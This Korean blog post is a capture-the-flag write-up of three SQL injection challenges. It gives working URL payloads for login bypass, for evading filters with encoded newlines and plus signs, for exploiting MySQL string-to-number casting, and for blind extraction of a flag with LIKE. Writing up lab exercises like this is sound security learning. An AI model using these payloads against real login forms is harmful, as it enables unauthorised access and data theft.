security/화이트햇

Mini CTF - SQLI

민사민서 2024. 1. 9. 18:55

SQLI1

- 공격벡터

userinput 필터링 없이 받아 쿼리문에 사용

 

- exploit 과정

?userid=admin’ %23&userpw=123 하면 된다.

# 그대로 입력 시 그 뒤가 fragment로 인식되어 %23 이렇게 인코딩했다

 

 

SQLI2

- 공격벡터

union 막혀있고, or 이랑 | 전부 막혀있다, 하지만 + 사용 가능하다

공백 = %0a로 우회 가능하다

주석 = -는 막혀있지만 #은 가능하다. 대신 url에서 %23 인코딩해야 fragment 취급 안 받음

 

의도하지 않았지만 발견한, MySQL의 독특한 type casting 때문에 발생한 취약점

(https://stackoverflow.com/questions/22080382/mysql-why-comparing-a-string-to-0-gives-true)

MySQL + - * / % 이런 arithmetic operators 과 사용되거나, 숫자와 비교 시 자동으로 string을 숫자로 casting 한다

=>  숫자로 시작하는 string은 해당 숫자로 casting (‘1string’ = 1 , ‘0string’ = 0)

=>  숫자로 시작하지 않는 string0

 

따라서 ‘a’ + ‘b’ 0 + 0 = 0 으로 계산될 것

그리고 userid = 0 구문은 userid가 숫자로 시작하지 않는 문자열일 경우 true일 것

 

- exploit 과정

+ # 모두 url에서 특별한 의미를 지니므로 encoding 필수이다

?userid=a’%2b’b’%23&userpw=aaa 이렇게 payload 보내면 첫번째 recordguest가 출력된다

?userid=a’%2b’b’%0aand%0auserid%0alike%0a’admi_’%23&userpw=aaa 이런 식으로 조건에 userid 포맷을 추가해주면 된다.

 

SQLI3

- 공격벡터

SQLI2와 동일한 공격벡터 사용하면 된다.

대신 userpw가 플래그이므로 blind SQLI를 실행하면 된다

userpw like “flag{%” 에서 한글자씩 추가해나가며 “Hello admin”이 언제 출력되나 파악하자

?userid=ad'%2b'min'%0aand%0auserid%0alike%0a'admi_'%0aand%0auserpw%0alike%0a'flag{ %%'%23&userpw=aaa 했더니 Hello Admin 메시지 뜨는 것 확인

+%2b로 인코딩, space%0a로 우회, % %%로 인코딩, #%23으로 인코딩

 

- exploit 과정

이렇게 돌렸더니

flag{true_true:_,binsearch_is_good} 답이 아니었음! binsearch_is_good는 그럴싸한 포맷이므로 그대로 두고, 앞에 두 _ (언더바) 자리에 input 제한 때문에 검사하지 못한 문자들이 들어가지 않았을까 추측함

=> 플래그 확인 페이지에서 브포 돌림

 

플래그 나옴

 

'security > 화이트햇' 카테고리의 다른 글

웹해킹 문제 - Nodejs  (0) 2024.01.09
Mini CTF - LFI, Command Injection, SSTI  (0) 2024.01.09
Mini CTF - XSS, DOM Clobbering  (0) 2024.01.07
Mini CTF - XSS, DOM Clobbering  (0) 2024.01.07
IDA에서 사용자 정의 구조체 생성하기  (1) 2024.01.06